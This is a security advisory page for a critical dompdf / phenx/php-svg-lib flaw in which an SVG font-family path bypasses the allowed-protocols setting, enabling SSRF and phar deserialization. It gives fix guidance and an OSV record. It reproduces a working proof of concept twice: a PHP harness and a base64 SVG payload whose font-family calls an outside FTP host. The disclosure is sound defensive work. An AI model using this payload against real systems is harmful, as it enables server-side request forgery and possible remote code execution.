GHSA-97m3-52wr-xvv2: Phenx/php svg lib Remote Code Execution Vulnerability

CRITICAL
CVSS 10.0
CWE-502 CWE-73
Published
Advisory Summary

GHSA-97m3-52wr-xvv2 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Phenx/php svg lib libraries in the Packagist ecosystem. The issue involves dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential rce. Remediation is available by upgrading affected packages to version 0.5.2.

GHSA-97m3-52wr-xvv2 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-97m3-52wr-xvv2
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Phenx/php svg lib
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-97m3-52wr-xvv2

To remediate this vulnerability, upgrade all affected Phenx/php svg lib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phenx/php-svg-lib fixed: 0.5.2
Upgrade phenx/php-svg-lib to 0.5.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phenx/php-svg-lib

How to Check if You Are Affected

To determine whether your application is affected by GHSA-97m3-52wr-xvv2, inspect your project dependencies for Phenx/php svg lib:

inspect dependencies for phenx/php-svg-lib

Analyze the terminal output to locate any version of Phenx/php svg lib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Phenx/php svg lib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP < 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf. ### Details The problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : ``` $name = basename($font); $dir = dirname($font); [...] $metrics_name = "$name.ufm"; [...] if (!isset($this->fonts[$font]) && file_exists("$dir/$metrics_name")) { ``` Passing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive. ### PoC Consider the following, minimal PHP code : ``` <?php require('vendor/autoload.php'); use Dompdf\Dompdf; $dompdf = new Dompdf(); $dompdf->loadHtml($_GET['payload']); $dompdf->setPaper('A4', 'landscape'); $options = $dompdf->getOptions(); $options->setAllowedProtocols([]); $dompdf->render(); $dompdf->stream(); ``` With payload being this html file : ``` <html> <img src="data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4="></img> </html> ``` with the base64 image being : ``` <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <text x="20" y="35" style="color:red;font-family:ftp://blakl.is:21/x/y;">My</text> </svg> ``` A connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols. ### Impact An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.

GHSA-97m3-52wr-xvv2 Affected Phenx/php svg lib Versions

1 component(s)
Fixed Versions:
0.5.2
Product / Package Ecosystem Affected Versions Fixed Version
phenx/php-svg-lib
Packagist
< 0.5.2
0.5.2

References

Frequently Asked Questions

What is GHSA-97m3-52wr-xvv2?
GHSA-97m3-52wr-xvv2 is a security vulnerability in Phenx/php svg lib involving Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE under CWE-502: Deserialization of Untrusted Data.
Which Phenx/php svg lib versions are affected?
Affected versions include releases prior to 0.5.2 across affected packages: phenx/php-svg-lib.
What version fixes GHSA-97m3-52wr-xvv2?
Upgrading to 0.5.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phenx/php-svg-lib affected?
Yes, phenx/php-svg-lib is affected in releases prior to 0.5.2. Upgrade your dependency to 0.5.2 or later.
What is the CVSS score of GHSA-97m3-52wr-xvv2?
GHSA-97m3-52wr-xvv2 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with GHSA-97m3-52wr-xvv2?
GHSA-97m3-52wr-xvv2 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check Packagist dependencies for GHSA-97m3-52wr-xvv2?
Run the dependency tree command: 'inspect dependencies for phenx/php-svg-lib'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-97m3-52wr-xvv2",
  "modified" : "2024-02-23T21:19:15Z",
  "published" : "2024-02-22T18:15:41Z",
  "aliases" : [ ],
  "summary" : "Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE",
  "details" : "### Summary\nA lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP < 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\n### Details\nThe problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\n```\n$name = basename($font);\n$dir = dirname($font);\n[...]\n$metrics_name = \"$name.ufm\";\n[...]\n\nif (!isset($this->fonts[$font]) && file_exists(\"$dir/$metrics_name\")) {\n```\n\nPassing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\n\n### PoC\n\nConsider the following, minimal PHP code : \n\n```\n<?php\nrequire('vendor/autoload.php');\n\nuse Dompdf\\Dompdf;\n$dompdf = new Dompdf();\n$dompdf->loadHtml($_GET['payload']);\n$dompdf->setPaper('A4', 'landscape');\n$options = $dompdf->getOptions();\n$options->setAllowedProtocols([]);\n$dompdf->render();\n$dompdf->stream();\n```\n\nWith payload being this html file : \n\n```\n<html>\n<img src=\"data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4=\"></img>\n</html>\n```\n\nwith the base64 image being : \n```\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<svg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\">\n    <text x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\">My</text>\n</svg>\n```\n\nA connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phenx/php-svg-lib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/security/advisories/GHSA-97m3-52wr-xvv2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/php-svg-lib/security/advisories/GHSA-f3qr-qr4x-j273"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/php-svg-lib/commit/732faa9fb4309221e2bd9b2fda5de44f947133aa"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dompdf/dompdf"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502", "CWE-73" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-02-22T18:15:41Z",
    "nvd_published_at" : null
  }
}